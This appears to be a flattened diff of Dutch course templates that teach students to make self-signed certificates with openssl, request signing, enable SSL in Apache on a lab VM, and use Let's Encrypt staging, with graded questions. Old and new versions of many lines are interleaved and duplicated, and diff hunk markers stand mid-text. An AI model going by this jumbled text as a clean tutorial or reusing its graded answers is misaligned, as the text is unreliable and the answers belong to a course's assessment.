<p>Nu wil jij natuurlijk meteen een eigen certificaat voor jezelf hebben, en dat kan! Met dit alles-in-1 commando maak je een <img src="/static/img/certificaat.png" class="center-block" style="border: 1px solid black">
certificaat dat helemaal van jou is:</p>
<code class="terminal">openssl req -x509 -nodes -newkey rsa:2048 -keyout sleutel.key -out certificaat.crt</code> <p>Nu wil jij natuurlijk meteen een eigen certificaat voor jezelf hebben, en dat kan! Met dit alles-in-1 commando maak je een certificaat dat helemaal van jou is:</p>
<p>Dit commando doet een paar dingen tegelijk waar we later op terugkomen. Nadat je de gevraagde informatie hebt ingevuld staat <code class="terminal">openssl req -x509 -nodes -newkey rsa:2048 -keyout sleutel.key -out certificaat.crt</code>
er in het bestand certificaat.crt jouw certificaat. Met dit commando kan je je nieuwe certificaat bewonderen:</p>
<code class="terminal">openssl x509 -text -in certificaat.crt</code> <p>Dit commando doet een paar dingen tegelijk waar we later op terugkomen. <b>Vul bij emailadres je Avans mailadres in</b>. Nadat je de gevraagde informatie hebt ingevuld staat er in het bestand certificaat.crt jouw certificaat. Met dit commando kan je je nieuwe certificaat bewonderen:</p>
<div class="question"> <code class="terminal">openssl x509 -text -in certificaat.crt</code>
<span class="question-string">Maak een certificaat met je eigen gegevens</span>
</div>
<p>Een certificaat heeft ook altijd een
<em>verstrekker</em> (issuer). Dit is de persoon of bedrijf die het certificaat heeft gemaakt en daarmee garant staat dat de
identiteit die op het certificaat staat ook klopt. In jouw certificaat staat dat je over jezelf hebt gezegd dat je bent
wie je zegt dat je bent. Niet echt betrouwbare informatie dus... Iedereen zou precies datzelfde certificaat kunnen maken.</p>
<p>Het wordt pas interessant en betrouwbaar als andere partijen het certificaat verstrekken en zo kunnen zeggen dat ze de gegevens
van het certificaat gecontroleerd hebben. Als jij die verstrekker vertrouwt dat hij zijn werk goed doet met de correctheid
van certificaten controleren. Dan vertrouw je ook indirect de gegevens op het certificaat. Zo hoef je maar een handjevol
verstrekkers te vertrouwen om bijna alle websites op het internet te kunnen vertrouwen.</p>
<p>Elke besturingssysteem heeft een lijst van basis verstrekkers die ze impliciet vertrouwen, deze lijst kan je bekijken en
veranderen door in je geavanceerde browserinstellingen op zoek te gaan naar een knop 'Beheer certificaten' (te vinden in
het Advanced -> Certificates tabblad in Firefox).</p>
<p>
<div class="question"> <div class="question">
<span class="question-string">Hoeveel basis verstrekkers vertrouwt jouw systeem?</span> <span class="question-string">Kopieer/plak de inhoud van certificaat.crt (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
{% include "points.html" with points=answers.answer_openssl_selfsigned_certificate.points max="10" %}
<textarea class="question-input" name="answer_openssl_selfsigned_certificate">{{ answers.answer_openssl_selfsigned_certificate.string }}</textarea>
</div>
<p>Een certificaat heeft ook altijd een <em>verstrekker</em> (issuer). Dit is de persoon of bedrijf die het certificaat heeft gemaakt en daarmee garant staat dat de identiteit die op het certificaat staat ook klopt. In jouw certificaat staat dat je over jezelf hebt gezegd dat je bent wie je zegt dat je bent. Niet echt betrouwbare informatie dus... Iedereen zou precies datzelfde certificaat kunnen maken.</p>
<p>Het wordt pas interessant en betrouwbaar als andere partijen het certificaat verstrekken en zo kunnen zeggen dat ze de gegevens van het certificaat gecontroleerd hebben.
Als jij die verstrekker vertrouwt dat hij zijn werk goed doet met de correctheid van certificaten controleren. Dan vertrouw je ook indirect de gegevens op het certificaat.
Zo hoef je maar een handjevol verstrekkers te vertrouwen om bijna alle websites op het internet te kunnen vertrouwen.</p>
<p>Elke besturingssysteem heeft een lijst van basis verstrekkers die ze impliciet vertrouwen, deze lijst kan je bekijken en veranderen door in je geavanceerde browserinstellingen op zoek te gaan naar een knop 'Beheer certificaten' (te vinden in het Advanced -> Certificates tabblad in Firefox).</p>
<p>
<div class="question">
<span class="question-string">Hoeveel basis verstrekkers vertrouwt jouw systeem? (je mag ook ongeveer een antwoord geven als het lastig tellen is)</span>
{% include "points.html" with points=answers.answer_openssl_number_of_issuers.points max="5" %}
<input class="question-input" name="answer_openssl_number_of_issuers" value="{{ answers.answer_openssl_number_of_issuers.string }}">
</div> </div>
<div class="question"> <div class="question">
<span class="question-string">Bekijk het certificaat van <span class="question-string">Bekijk het certificaat van <a href="https://facebook.com/" target="_blank">Facebook</a>, welk bedrijf heeft dit certificaat verstrekt?</span>
<a href="https://facebook.com/" target="_blank">Facebook</a>, welk bedrijf heeft dit certificaat verstrekt?</span> {% include "points.html" with points=answers.answer_openssl_facebook_issuer.points max="5" %}
<input class="question-input" name="answer_openssl_facebook_issuer" value="{{ answers.answer_openssl_facebook_issuer.string }}">
</div> </div>
<p class="hint">Hint: Het certificaat kan je in de meeste browsers bekijken door op het slot-ikoontje te klikken. In Chrome moet je de <p class="hint">Hint: Het certificaat kan je in alle browsers bekijken door op het slot-ikoontje te klikken</p>
Developer Tools openen en kijken in het mapje 'Security'.</p>
<h2>Mag ik uw handtekening?</h2> <h2>Mag ik uw handtekening?</h2>
<p>Zo'n certificaat wat je aan jezelf hebt verstrekt vertrouwd natuurlijk niemand. We moeten eerst iemand vinden die jouw <p>Zo'n certificaat wat je aan jezelf hebt verstrekt vertrouwd natuurlijk niemand. We moeten eerst iemand vinden die jouw certificaat wil ondertekenen.</p>
certificaat wil ondertekenen.</p>
<p>Er is een speciaal bestandsformaat om aan een verstrekker te vragen of hij jouw certificaat wil ondertekenen: <p>Er is een speciaal bestandsformaat om aan een verstrekker te vragen of hij jouw certificaat wil ondertekenen: <b>.csr</b>. Dat staat voor Certificate Signing Request. Een soort van bedelbrief die je rond kan sturen met je certificaat waar nog een verstrekker bij moet.</p>
<b>.csr</b>. Dat staat voor Certificate Signing Request. Een soort van bedelbrief die je rond kan sturen met je certificaat
waar nog een verstrekker bij moet.</p>
<p>Je kan onderstaand commando gebruiken om je eigen gemaakte certificaat als basis te gebruiken voor zo'n Certificate Signing <p>Je kan onderstaand commando gebruiken om je eigen gemaakte certificaat als basis te gebruiken voor zo'n Certificate Signing Request:</p>
Request:
</p>
<code class="terminal">openssl x509 -x509toreq -in certificaat.crt -signkey sleutel.key -out certificaat_verzoek.csr</code> <code class="terminal">openssl x509 -x509toreq -in certificaat.crt -signkey sleutel.key -out certificaat_verzoek.csr</code>
<p>Zo'n verzoekje kan je vervolgens bij een certificaat autoriteit zoals Thawte of VeriSign inleveren. Voor een paar honderd <p>Zo'n verzoekje kan je vervolgens bij een certificaat autoriteit zoals Thawte of VeriSign inleveren. Voor een paar honderd euro zijn ze dan bereid om hun handtekening eronder te zetten.</p>
euro zijn ze dan bereid om hun handtekening eronder te zetten.</p>
<p>Om deze cursus relatief goedkoop te houden heeft deze site ook een certificaat autoriteit waar je certificaten kan laten <p>Om deze les relatief goedkoop te houden heeft deze site ook een certificaat autoriteit waar je certificaten kan laten ondertekenen: <a href="/sign" target="signen">Certificaat Autoriteit</a>. Gebruik deze site om jouw certificaat te laten ondertekenen</p>
ondertekenen:
<a href="/sign" target="signen">Certificaat Autoriteit</a>. Gebruik deze site om jouw certificaat te laten ondertekenen</p>
<div class="question"> <div class="question">
<span class="question-string">Bekijk het certificaat wat je hebt teruggekregen. Welke persoon heeft dit certificaat aan jou verstrekt?</span> <span class="question-string">Bekijk het certificaat wat je hebt teruggekregen. Welke persoon heeft dit certificaat aan jou verstrekt?</span>
{% include "points.html" with points=answers.answer_openssl_site_issuer.points max="5" %}
<input class="question-input" name="answer_openssl_site_issuer" value="{{ answers.answer_openssl_site_issuer.string }}">
</div>
<div class="question">
<span class="question-string">Plak jouw ondertekende certificaat in onderstaand tekstveld (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
{% include "points.html" with points=answers.answer_openssl_signed_cert.points max="10" %}
<textarea class="question-input" name="answer_openssl_signed_cert">{{ answers.answer_openssl_signed_cert.string }}</textarea>
</div> </div>
<h2>Zelf verstrekken</h2> <h2>Zelf verstrekken</h2>
<blockquote>Sometimes, the only one you can trust is yourself.</blockquote> <blockquote>Sometimes, the only one you can trust is yourself.</blockquote>
<p>Om zelf verstrekker te spelen heb je helemaal geen speciale certificaten nodig. Je kan namelijk gewoon je eigen certificaat <p>Om zelf verstrekker te spelen heb je helemaal geen speciale certificaten nodig. Je kan namelijk gewoon je eigen certificaat en sleutel gebruiken die je aan het begin van de les hebt gemaakt. Vraag een medestudent om een Certificate Signing Request van zijn certificaat te geven en onderteken dat met je eigen certificaat. Zoek op internet het commando op waarmee je dat kan doen.</p>
en sleutel gebruiken die je aan het begin van de les hebt gemaakt.</p>
<div class="question"> <div class="question">
<span class="question-string">Vraag een medecursist om een Certificate Signing Request van zijn certificaat te geven en onderteken dat met je eigen <span class="question-string">Plak de inhoud van het certificaat van een medestudent, waar je zelf verstrekker van bent. (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
certificaat. Zoek op internet het commando op waarmee je dat kan doen.</span> {% include "points.html" with points=answers.answer_openssl_sign_other.points max="10" %}
<textarea class="question-input" name="answer_openssl_sign_other">{{ answers.answer_openssl_sign_other.string }}</textarea>
</div> </div>
<p>Tip: zorg ervoor dat jouw certificaat standaard wordt geinstalleerd op alle besturingsystemen. Dan kan je goud geld verdienen <p>Tip: zorg ervoor dat jouw certificaat standaard wordt geinstalleerd op alle besturingsystemen. Dan kan je goud geld verdienen met het ondertekenen van andere certificaten ;)</p>
met het ondertekenen van andere certificaten ;)</p>
<!--
<h2>Websites beveiligen</h2> <h2>Websites beveiligen</h2>
<p>Leuk die certificaten, maar laten we niet vergeten dat we er ook nog wat nuttigs mee kunnen doen. Namelijk onze internetverbindingen <p>Leuk die certificaten, maar laten we niet vergeten dat we er ook nog wat nuttigs mee kunnen doen. Namelijk onze internetverbindingen beveiligen. Om hiermee te oefenen moet je <a href="/static/vm.zip">deze virtual machine</a> downloaden. Het wachtwoord van deze VM is <b><i>sec2</i></b>. We hebben een aantal dingen gewijzigd hierin:</p>
beveiligen. Om hiermee te oefenen moet je
<a href="/static/vm.zip">deze virtual machine</a> downloaden. Het wachtwoord van deze VM is
<b>
<i>sec2</i>
</b>. We hebben een aantal dingen gewijzigd hierin:</p>
<ul> <ul>
<li>Er is een default Apache installatie aanwezig.</li> <li>Er is een default Apache installatie aanwezig.</li>
<li>www.security2.nl en websec.paulwagener.nl wijzen naar de geïnstalleerde Apache op localhost.</li> <li>www.security2.nl en sec1.aii.avans.nl wijzen naar de geïnstalleerde Apache op localhost.</li>
<li>We hebben <li>We hebben <a href="/sign" target="signen">deze verstrekker</a> en het Let's Encrypt test certificaat als vertrouwd toegevoegd aan het systeem (dit kan je terugvinden als je in je browser gaat kijken naar alle certificaten die zijn geïnstalleerd)</li>
<a href="/sign" target="signen">deze verstrekker</a> en het Let's Encrypt test certificaat als vertrouwd toegevoegd aan het systeem (dit kan je terugvinden
als je in je browser gaat kijken naar alle certificaten die zijn geïnstalleerd)</li>
</ul> </ul>
<p>Controleer eerst of de site http://www.security2.nl in jouw VM te bereiken is, en via http <p>Controleer eerst of de site http://www.security2.nl in jouw VM te bereiken is, en via http<b>s</b>://www.security2.nl/ nog niet te bereiken is. Je gaat de site in de volgende opgaven beveiligen met SSL, om dat te doen moeten we eerst SSL aanzetten in Apache met de volgende commando's:</p>
<b>s</b>://www.security2.nl/ nog niet te bereiken is. Je gaat de site in de volgende opgaven beveiligen met SSL, om dat
te doen moeten we eerst SSL aanzetten in Apache met de volgende commando's:</p>
<code class="terminal">sudo a2enmod ssl<br> <code class="terminal">sudo a2enmod ssl<br>
sudo a2ensite default-ssl<br> sudo a2ensite default-ssl<br>
@@ -142,73 +119,46 @@ sudo service apache2 reload</code>
<p class="hint">Hint: Commando's vul je in in het programma 'Terminal'</p> <p class="hint">Hint: Commando's vul je in in het programma 'Terminal'</p>
<p>De site is nu ook via https:// bereikbaar, maar Apache heeft een ongeldig dummy certificaat gebruikt om de site te beveiligen. <p>De site is nu ook via https:// bereikbaar, maar Apache heeft een ongeldig dummy certificaat gebruikt om de site te beveiligen. Om het werkend te krijgen moeten we eerst de volgende stappen uitvoeren:</p>
Om het werkend te krijgen moeten we eerst de volgende stappen uitvoeren:</p>
<ol> <ol>
<li>Maak een geheel nieuwe certificaat/sleutel combo aan met het commando bovenaan de pagina. Je mag alles invullen zoals <li>Maak een geheel nieuwe certificaat/sleutel combo aan met het commando bovenaan de pagina. Je mag alles invullen zoals je wil, behalve de Common Name / Server FQDN. Die moet <code>www.security2.nl</code> zijn.</li>
je wil, behalve de Common Name / Server FQDN. Die moet <li>Laat het certificaat <a href="/sign" target="signen">hier</a> weer ondertekenen</li>
<code>www.security2.nl</code> zijn.</li>
<li>Laat het certificaat
<a href="/sign" target="signen">hier</a> weer ondertekenen</li>
<li>Kopieer het sleutel bestand en het ondertekende certificaat naar de VM</li> <li>Kopieer het sleutel bestand en het ondertekende certificaat naar de VM</li>
<li>Voer het volgende commando uit: <li>Voer het volgende commando uit: <code class="terminal">sudo gedit /etc/apache2/sites-available/default-ssl.conf</code> om de standaard SSL configuratie aan te passen.</li>
<code class="terminal">sudo gedit /etc/apache2/sites-available/default-ssl.conf</code> om de standaard SSL configuratie aan te passen.</li> <li>Verander in dit bestand de <code>SSLCertificateFile</code> en <code>SSLCertificateKeyFile</code> zodat ze naar jouw certificaat en sleutel bestand wijzen</li>
<li>Verander in dit bestand de <li>Maak je wijzigingen actief door de configuratie opnieuw in te laden: <code class="terminal">sudo service apache2 reload</code></li>
<code>SSLCertificateFile</code> en
<code>SSLCertificateKeyFile</code> zodat ze naar jouw certificaat en sleutel bestand wijzen</li>
<li>Maak je wijzigingen actief door de configuratie opnieuw in te laden:
<code class="terminal">sudo service apache2 reload</code>
</li>
</ol> </ol>
<p>Als je alles goed hebt gedaan is de site nu met SSL beveiligd! Controleer of je de site in de VM nu kan bereiken via https://www.security2.nl/ <p>Als je alles goed hebt gedaan is de site nu met SSL beveiligd! Controleer of je de site in de VM nu kan bereiken via https://www.security2.nl/ (Alleen Chrome werkt, certificaat is niet aan Firefox toegevoegd). Als je een groen slotje krijgt mag je de volgende vraag beantwoorden:</p>
(Alleen Chrome werkt, certificaat is niet aan Firefox toegevoegd). Als je een groen slotje krijgt mag je de volgende
vraag beantwoorden:</p>
<div class="question"> <div class="question">
<span class="question-string">Plak de inhoud van het .crt bestand dat je hebt gebruikt om de website te beveiligen met een groen slotje. (inclusief <span class="question-string">Plak de inhoud van het .crt bestand dat je hebt gebruikt om de website te beveiligen met een groen slotje. (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
begin en einde
<code>-----BEGIN CERTIFICATE-----</code>)</span>
{% include "points.html" with points=answers.answer_openssl_ssl_cert.points max="10" %} {% include "points.html" with points=answers.answer_openssl_ssl_cert.points max="10" %}
<textarea class="question-input" name="answer_openssl_ssl_cert">{{ answers.answer_openssl_ssl_cert.string }}</textarea> <textarea class="question-input" name="answer_openssl_ssl_cert">{{ answers.answer_openssl_ssl_cert.string }}</textarea>
</div> </div>
<div class="question"> <div class="question">
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat en upload die naar <span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat en upload die naar <a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
<a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
{% include "points.html" with points=answers.answer_openssl_screenshot.points max="10" %} {% include "points.html" with points=answers.answer_openssl_screenshot.points max="10" %}
<input class="question-input" name="answer_openssl_screenshot" type="url" value="{{ answers.answer_openssl_screenshot.string }}"> <input class="question-input" name="answer_openssl_screenshot" type="url" value="{{ answers.answer_openssl_screenshot.string }}">
</div> </div>
<img src="/static/img/slotje_certificaat_vm.png" class="center-block screenshot" style="width: 60%"> <img src="/static/img/slotje_certificaat_vm.png" class="center-block screenshot" style="width: 60%" >
<h2>Let's Encrypt</h2> <h2>Let's Encrypt</h2>
<img src="/static/img/letsencrypt_logo.png" class="center-block"> <img src="/static/img/letsencrypt_logo.png" class="center-block">
<p> <p><b><i>Let op, deze opdracht is dit jaar 0 punten waard omdat Avans een beveiliging heeft toegevoegd zodat het niet meer mogelijk is subdomeinen van avans.nl met Let's Encrypt te beveiligen.</i></b></p>
<b>
</b>
</p>
<p>Sinds 2015 is er <p>Sinds 2015 is er <a href="https://letsencrypt.org/">een nieuwe speler</a> op de markt die gratis certificaten verstrekt, mits je kan bewijzen dat jouw website van jouw is natuurlijk. Dit gaat met behulp van de command-line <code>letsencrypt</code> tool die automatisch certificaten maakt en ondertekend voor jouw website. Deze tool hebben we al voor je geinstalleerd in de VM.</p>
<a href="https://letsencrypt.org/">een nieuwe speler</a> op de markt die gratis certificaten verstrekt, mits je kan bewijzen dat jouw website van jouw is
natuurlijk. Dit gaat met behulp van de command-line
<code>letsencrypt</code> tool die automatisch certificaten maakt en ondertekend voor jouw website. Deze tool hebben we al voor je geinstalleerd
in de VM.</p>
<p>We gaan nu websec.paulwagener.nl beveiligen, niet deze website die je nu aan het bekijken bent, maar weer de localhost <p>We gaan nu sec1.aii.avans.nl beveiligen, niet deze website die je nu aan het bekijken bent, maar weer de localhost die in de VM draait. Maar nu gaan we hem met behulp van Let's Encrypt beveiligen.</p>
die in de VM draait. Maar nu gaan we hem met behulp van Let's Encrypt beveiligen.</p>
<p> <p><i>Tip:</i>Je mag voor deze opdracht ook een eigen domein dat je hebt beveiligen! Let even op dat de commando's dan niet overal exact hetzelfde zijn. Zeker als je geen Apache gebruikt.</p>
<i>Tip:</i>Je mag voor deze opdracht ook een eigen domein dat je hebt beveiligen! Let even op dat de commando's dan niet
overal exact hetzelfde zijn. Zeker als je geen Apache gebruikt.</p>
<p>Controleer eerst dat <p>Controleer eerst dat <b>https</b>://sec1.aii.avans.nl/ in de VM een fout geeft, dat komt omdat het certificaat van de vorige opdracht nog steeds van www.security2.nl is (als je de vorige opdracht goed hebt gedaan, anders krijg je misschien een andere fout). De browser ziet dat dat niet hetzelfde domein is en geeft terecht een error.</p>
<b>https</b>://websec.paulwagener.nl// in de VM een fout geeft, dat komt omdat het certificaat van de vorige opdracht nog
steeds van www.security2.nl is (als je de vorige opdracht goed hebt gedaan, anders krijg je misschien een andere fout).
De browser ziet dat dat niet hetzelfde domein is en geeft terecht een error.</p>
<p>We gaan beginnen met het aanvragen van een certificaat. Dit doen we met het volgende commando: <p>We gaan beginnen met het aanvragen van een certificaat. Dit doen we met het volgende commando:
@@ -217,91 +167,51 @@ sudo service apache2 reload</code>
<p>Even een korte uitleg van dit commando:</p> <p>Even een korte uitleg van dit commando:</p>
<ul> <ul>
<li> <li><b>sudo</b>: letsencrypt heeft root rechten nodig, we moeten letsencrypt dus altijd met root rechten uitvoeren</li>
<b>sudo</b>: letsencrypt heeft root rechten nodig, we moeten letsencrypt dus altijd met root rechten uitvoeren</li> <li><b>letsencrypt</b>: de naam van het scriptje zelf. Als je dit op je eigen server wil doen moet je deze eerst installeren (instructies vind je op de <a href="https://letsencrypt.org/getting-started/">Let's Encrypt website</a> zelf). Afhankelijk van hoe letsencrypt is geinstalleerd kan het commando ook <code>letsencrypt-auto</code>, <code>certbot</code> of <code>certbot-auto</code> zijn.</li>
<li> <li><b>certonly</b>: Standaard wil Let's Encrypt volledig automatisch Apache voor je herconfigureren, maar dat gaat bij ons niet werken omdat de VM niet <i>echt</i> sec1.aii.avans.nl is. Met de certonly optie geven we aan dat we alleen geinteresseerd zijn in het maken van nieuwe certificaten.</li>
<b>letsencrypt</b>: de naam van het scriptje zelf. Als je dit op je eigen server wil doen moet je deze eerst installeren <li><b>--manual</b>: De Let's Encrypt servers geven niet zomaar certificaten weg, ze willen altijd zeker weten dat het domein waar je een certificaat van aanvraagt ook echt van jou is. Er zijn verschillende manieren om dat te doen, maar ze komen er allemaal op neer dat je een specifiek bestandje moet hosten op je website. Met de manual optie moeten we onze webserver zelf goed configureren dat het bestandje te bereiken is via het domein. De andere opties (<code>--webroot</code>, <code>--apache</code>) proberen het bestandje automatisch te plaatsen en de webserver te configureren. Dat gaat voor deze opdracht niet werken omdat de echte sec1.aii.avans.nl veilig ergens draait en van buiten niet te configureren is.</li>
(instructies vind je op de <li><b>--staging</b>: Deze optie zorgt ervoor dat je een certificaat krijgt van de test server in plaats van de echte server. Deze hebben we nodig omdat de echte server een limiet heeft van 5 certificaataanvragen per week per domein. En dat is voor dit vak niet handig. Nadeel van de testserver is dat de certificaten een ongeldige fake verstrekker hebben (in de VM hebben we die fake verstrekker toegevoegd als vertrouwd, zodat je alsnog een groen slotje krijgt.)</li>
<a href="https://letsencrypt.org/getting-started/">Let's Encrypt website</a> zelf). Afhankelijk van hoe letsencrypt is geinstalleerd kan het commando ook
<code>letsencrypt-auto</code>,
<code>certbot</code> of
<code>certbot-auto</code> zijn.</li>
<li>
<b>certonly</b>: Standaard wil Let's Encrypt volledig automatisch Apache voor je herconfigureren, maar dat gaat bij
ons niet werken omdat de VM niet
<i>echt</i> websec.paulwagener.nl is. Met de certonly optie geven we aan dat we alleen geinteresseerd zijn in het maken
van nieuwe certificaten.</li>
<li>
<b>--manual</b>: De Let's Encrypt servers geven niet zomaar certificaten weg, ze willen altijd zeker weten dat het domein
waar je een certificaat van aanvraagt ook echt van jou is. Er zijn verschillende manieren om dat te doen, maar ze
komen er allemaal op neer dat je een specifiek bestandje moet hosten op je website. Met de manual optie moeten we
onze webserver zelf goed configureren dat het bestandje te bereiken is via het domein. De andere opties (
<code>--webroot</code>,
<code>--apache</code>) proberen het bestandje automatisch te plaatsen en de webserver te configureren. Dat gaat voor deze opdracht niet
werken omdat de echte websec.paulwagener.nl veilig ergens draait en van buiten niet te configureren is.</li>
<li>
<b>--staging</b>: Deze optie zorgt ervoor dat je een certificaat krijgt van de test server in plaats van de echte server.
Deze hebben we nodig omdat de echte server een limiet heeft van 5 certificaataanvragen per week per domein. En dat
is voor dit vak niet handig. Nadeel van de testserver is dat de certificaten een ongeldige fake verstrekker hebben
(in de VM hebben we die fake verstrekker toegevoegd als vertrouwd, zodat je alsnog een groen slotje krijgt.)</li>
</ul> </ul>
<p>Als je dit commando voor de eerste keer uitvoert wordt er gevraagd naar je e-mailadres, daar kan je invullen wat je wil. <p>Als je dit commando voor de eerste keer uitvoert wordt er gevraagd naar je e-mailadres, daar kan je invullen wat je wil. Voor het domein gaan we sec1.aii.avans.nl invullen. Als je je eigen domein wil beveiligen vul je hier uiteraard je eigen domein in.</p>
Voor het domein gaan we websec.paulwagener.nl invullen. Als je je eigen domein wil beveiligen vul je hier uiteraard
je eigen domein in.</p>
<img src="/static/img/letsencrypt_domain.png" class="center-block screenshot" style="width: 80%"> <img src="/static/img/letsencrypt_domain.png" class="center-block screenshot" style="width: 80%" >
<p>Let's Encrypt vraagt daarna om een bestandje op de server te zetten in een hele specifieke map (.well-known/acme-challenge) <p>Let's Encrypt vraagt daarna om een bestandje op de server te zetten in een hele specifieke map (.well-known/acme-challenge) op de echte sec1.aii.avans.nl server. Normaliter zou dit een probleem zijn, want dat kan alleen als je toegang hebt tot de server. Maar speciaal voor jullie is er <a href="/letsencrypt">een pagina</a> waar je de code kan kopieren en er voor zorgen dat het bestandje 10 minuten lang op onze server wordt gehost!</p>
op de echte websec.paulwagener.nl server. Normaliter zou dit een probleem zijn, want dat kan alleen als je toegang
hebt tot de server. Maar speciaal voor jullie is er
<a href="/letsencrypt">een pagina</a> waar je de code kan kopieren en er voor zorgen dat het bestandje 10 minuten lang op onze server wordt
gehost!
</p>
<img src="/static/img/letsencrypt_challenge.png" class="center-block screenshot" style="width: 80%"> <img src="/static/img/letsencrypt_challenge.png" class="center-block screenshot" style="width: 80%" >
<p>Nadat de challenge is geslaagd zal Let's Encrypt nog een melding geven over dat de self-verification failed (in de VM <p>Nadat de challenge is geslaagd zal Let's Encrypt nog een melding geven over dat de self-verification failed (in de VM wijst sec1.aii.avans.nl immers naar de localhost, en niet naar het bestandje op de echte server). Maar dat kan je negeren, als het goed is gegaan staan de certificaten nu in de map <code>/etc/letsencrypt/live/sec1.aii.avans.nl</code>!.
wijst websec.paulwagener.nl immers naar de localhost, en niet naar het bestandje op de echte server). Maar dat kan
je negeren, als het goed is gegaan staan de certificaten nu in de map
<code>/etc/letsencrypt/live/websec.paulwagener.nl</code>!.
<img src="/static/img/letsencrypt_congrats.png" class="center-block screenshot" style="width: 80%"> <img src="/static/img/letsencrypt_congrats.png" class="center-block screenshot" style="width: 80%" >
<p>Met dit commando kan je je nieuwe certificaat bekijken:</p> <p>Met dit commando kan je je nieuwe certificaat bekijken:</p>
<code class="terminal">sudo gedit /etc/letsencrypt/live/websec.paulwagener.nl/fullchain.pem</code> <code class="terminal">sudo gedit /etc/letsencrypt/live/sec1.aii.avans.nl/fullchain.pem</code>
<div class="question"> <div class="question">
<span class="question-string">Plak de inhoud van het <span class="question-string">Plak de inhoud van het <code>fullchain.pem</code> certificaat voor sec1.aii.avans.nl. (inclusief alle begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
<code>fullchain.pem</code> certificaat voor websec.paulwagener.nl. (inclusief alle begin en einde
<code>-----BEGIN CERTIFICATE-----</code>)</span>
{% include "points.html" with points=answers.answer_openssl_letsencrypt_fullchain.points max="0" %} {% include "points.html" with points=answers.answer_openssl_letsencrypt_fullchain.points max="0" %}
<textarea class="question-input" name="answer_openssl_letsencrypt_fullchain">{{ answers.answer_openssl_letsencrypt_fullchain.string }}</textarea> <textarea class="question-input" name="answer_openssl_letsencrypt_fullchain">{{ answers.answer_openssl_letsencrypt_fullchain.string }}</textarea>
</div> </div>
<p>Stel het default-ssl.conf configuratie bestand van Apache nu zo in dat het de certificaten van Let's Encrypt gebruikt:</p> <p>Stel het default-ssl.conf configuratie bestand van Apache nu zo in dat het de certificaten van Let's Encrypt gebruikt:</p>
<img src="/static/img/letsencrypt_conf.png" class="center-block screenshot"> <img src="/static/img/letsencrypt_conf.png" class="center-block screenshot" >
<p>Sla het bestand op, reload Apache en als het goed is heb je nu een beveiligde https://websec.paulwagener.nl/, helemaal <p>Sla het bestand op, reload Apache en als het goed is heb je nu een beveiligde https://sec1.aii.avans.nl/, helemaal gratis en voor niets!</p>
gratis en voor niets!</p>
<img src="/static/img/letsencrypt_chrome.png" class="center-block screenshot" style="width: 90%"> <img src="/static/img/letsencrypt_chrome.png" class="center-block screenshot" style="width: 90%" >
<p>Het zal je misschien opvallen dat de verstrekker Fake is, dat komt omdat we de <p>Het zal je misschien opvallen dat de verstrekker Fake is, dat komt omdat we de <code>--staging</code> optie hebben gebruikt. In de VM is deze toegevoegd als iets dat we kunnen vertrouwen (en dus een groen slotje oplevert), maar in de echte wereld is dat niet zo. Zorg er dus bij je eigen website zo dat je niet de --staging optie gebruikt als je voor de echie certificaten aan het maken bent</p>
<code>--staging</code> optie hebben gebruikt. In de VM is deze toegevoegd als iets dat we kunnen vertrouwen (en dus een groen slotje oplevert),
maar in de echte wereld is dat niet zo. Zorg er dus bij je eigen website zo dat je niet de --staging optie gebruikt
als je voor de echie certificaten aan het maken bent</p>
<div class="question"> <div class="question">
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat (zoals hierboven, maar natuurlijk niet <span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat (zoals hierboven, maar natuurlijk niet letterlijk dat plaatje, dat hebben we door) en upload die naar <a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
letterlijk dat plaatje, dat hebben we door) en upload die naar
<a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
{% include "points.html" with points=answers.answer_openssl_letsencrypt_screenshot.points max="0" %} {% include "points.html" with points=answers.answer_openssl_letsencrypt_screenshot.points max="0" %}
<input class="question-input" name="answer_openssl_letsencrypt_screenshot" type="url" value="{{ answers.answer_openssl_letsencrypt_screenshot.string }}"> <input class="question-input" name="answer_openssl_letsencrypt_screenshot" type="url" value="{{ answers.answer_openssl_letsencrypt_screenshot.string }}">
</div> </div>
-->
{% endblock %} {% endblock %}
+106 -198
View File
@@ -1,142 +1,91 @@
{% extends "base.html" %} {% block content %} {% extends "base.html" %}
<h1>Encryptie &amp; Signen</h1> {% block content %}
<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p> <h1>Encryptie &amp; Signen</h1>
<h2>Symmetrische encryptie</h2> <p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p>
<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten <h2>Symmetrische encryptie</h2>
encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken
om je bestanden, berichten en verbindingen te beveiligen.</p>
<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme <p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken om je bestanden, berichten en verbindingen te beveiligen.</p>
te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string
die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het
onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via
internet delen, zonder bang te zijn dat iemand het kan lezen.</p>
